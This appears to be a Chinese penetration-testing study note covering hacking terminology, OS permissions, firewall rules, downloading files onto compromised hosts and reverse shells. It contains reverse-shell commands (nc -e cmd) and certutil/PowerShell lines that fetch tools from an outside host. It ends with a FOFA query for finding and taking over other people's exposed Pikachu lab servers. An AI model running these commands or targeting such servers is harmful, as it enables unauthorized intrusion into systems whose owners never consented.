目录
基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过
知识点
参考:
演示案例
基础案例 1：操作系统-用途&命令&权限&用户&防火墙
实用案例 1：文件上传下载-->解决无图形化&解决数据传输
实用案例 2：反弹 Shell 命令-解决数据回显&解决数据通讯
结合案例 1：防火墙绕过-正向连接&反向连接&内网服务器
结合案例 2：学会了有手就行-Fofa 拿下同行 Pikachu 服务器
免责声明:本文仅做技术交流与学习,有其它违法行为请及时联系.
都是基础,会的走吧~~~
基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过
知识点
1、名词解释-渗透测试-漏洞&攻击&后门&代码&专业词
2、必备技能-操作系统-用途&命令&权限&用户&防火墙
3、必备技能-文件下载-缘由&场景&使用-提权&后渗透
4、必备技能-反弹命令-缘由&场景&使用-提权&后渗透
前后端，POC/EXP，Payload/Shellcode，后门/Webshell，木马/病毒， 反弹，回显，跳板，黑白盒测试，暴力破解，社会工程学，撞库，ATT&CK 等 POC:验证 EXP:利用 shellcode:漏洞载荷代码 payload:利用载荷,利用管道 反弹:拿到一个webshell,将权限移交到其它服务器(地址)上去.---将权限移交到其它地方. 撞库:通过对泄露的库进行社工,利用. ATT&CK:红蓝对抗框架.(专有名词,专业)
参考:
渗透测试常用术语总结 - 11阳光 - 博客园 (cnblogs.com)
MITRE ATT&CK®
【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客
[~]#棱角 ::Edge.Forum* (ywhack.com)
演示案例
基础案例 1：操作系统-用途&命令&权限&用户&防火墙
实用案例 1：文件上传下载-解决无图形化&解决数据传输
实用案例 2：反弹 Shell 命令-解决数据回显&解决数据通讯
结合案例 1：防火墙绕过-正向连接&反向连接&内网服务器
基础案例 1：操作系统-用途&命令&权限&用户&防火墙
1、个人计算机&服务器用机
2、Windows&Linux 常见命令
【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客
3、文件权限&服务权限&用户权限等
提权---为了完成某目的.
组(administrators)控制用户
windows:system最高权限,自己是administrator权限,(不能删除system文件啊)
users(普通用户),分配权限.分配组,让其享受权限.
4、系统用户&用户组&服务用户等分类
5、自带防火墙出站&入站规则策略协议
windows---自带防火墙
Linux---iptables
| 出站(你主动找别人) | 入站(别人主动找你) |
|---|---|
| 宽松 | 严格 |
--看走的什么协议
WAF(web防火墙)
实用案例 1：文件上传下载-->解决无图形化&解决数据传输
[~]#棱角 ::Edge.Forum* (ywhack.com)
--拿下人家后一般都是命令行.---如此进行文件上传,进行下一步操作.
Linux：wget curl python ruby perl java 等
weget:
-o 导出时为什么名字(加不加都行)
curl
Windows：PowerShell Certutil Bitsadmin msiexec mshta rundll32 等
(Powershell命令区分大小写。)
powershell:() powershell.exe -Command "Invoke-WebRequest -Uri http://ip:80/firefox.7z -OutFile fff.zip" 删除: Remove-item .\fff.zip
Certutil : ...我不行
传不上去就可能是权限问题(换个目录试试)
命令问题/权限问题
实用案例 2：反弹 Shell 命令-解决数据回显&解决数据通讯
useradd 用户名 passwd 用户名
测试 Linux 系统添加用户或修改密码命令交互回显问题
---发送数据,对面接收执行,自己是否接收(不知道是否执行成功).
有些工具给你弄过去,但是没有返回回来,你也不知道成不成功啊. --->这时就要反弹shell
交互式命令问题:Linux上的passwd 用户 -->等待你输入,
webshell输入命令--这种应答式的回显不过来呀
我把一条数据发给你,你看着我,我看着你,啥也不能干.
结合案例 1：防火墙绕过-正向连接&反向连接&内网服务器
1、内网：
内网 ---> xiaodi8
xiaodi8 !---> 内网
内网 外网
假如我要控制啊里云,我发送数据过去;(内网的我-->外网) 它要返回数据回来(外网!--->内网的我; 这时就有问题了啊) --除非建议管道.
这里用nc工具 -e参数,可以将本地cmd权限移交到 ip port上.
nc -e cmd ip port (我)
nc -lvvp port (服务器)
--->服务器成功接受
那反过来试一下的话,不行.
服务器根本找不到我.
??那怎么办??
端口映射:
先让外网找到内网的路由器接口,然后再找到我.
(以上监听的一方防火墙要关闭!!!!)
2、防火墙：
xiaodi8 <-> aliyun
xiaodi8 防火墙 -> aliyun
aliyun !-> xiaodi8 防火墙
这里的两个外网的服务器相互连接也都没有问题.
(不开防火墙)
--但如果开了防火墙,那怎么办呢???
正反向问题:
入站--严格
发送权限的一方(主动把数据交出去)--入站
监听的一方--出站的流量 (防火墙拦都拦不住啊)
正反向连接(看以谁为参照物)
正向连接:主动连接别人.(发权限数据)
结合案例 2：学会了有手就行-Fofa 拿下同行 Pikachu 服务器
fofa: "pikachu" && country="CN" && title="Get the pikachu"
--拿下同行.在线靶场.服务器.(在线靶机-->用docker容器)
文件下载&反弹 Shell:
certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe
nc.exe -e cmd ip 5566
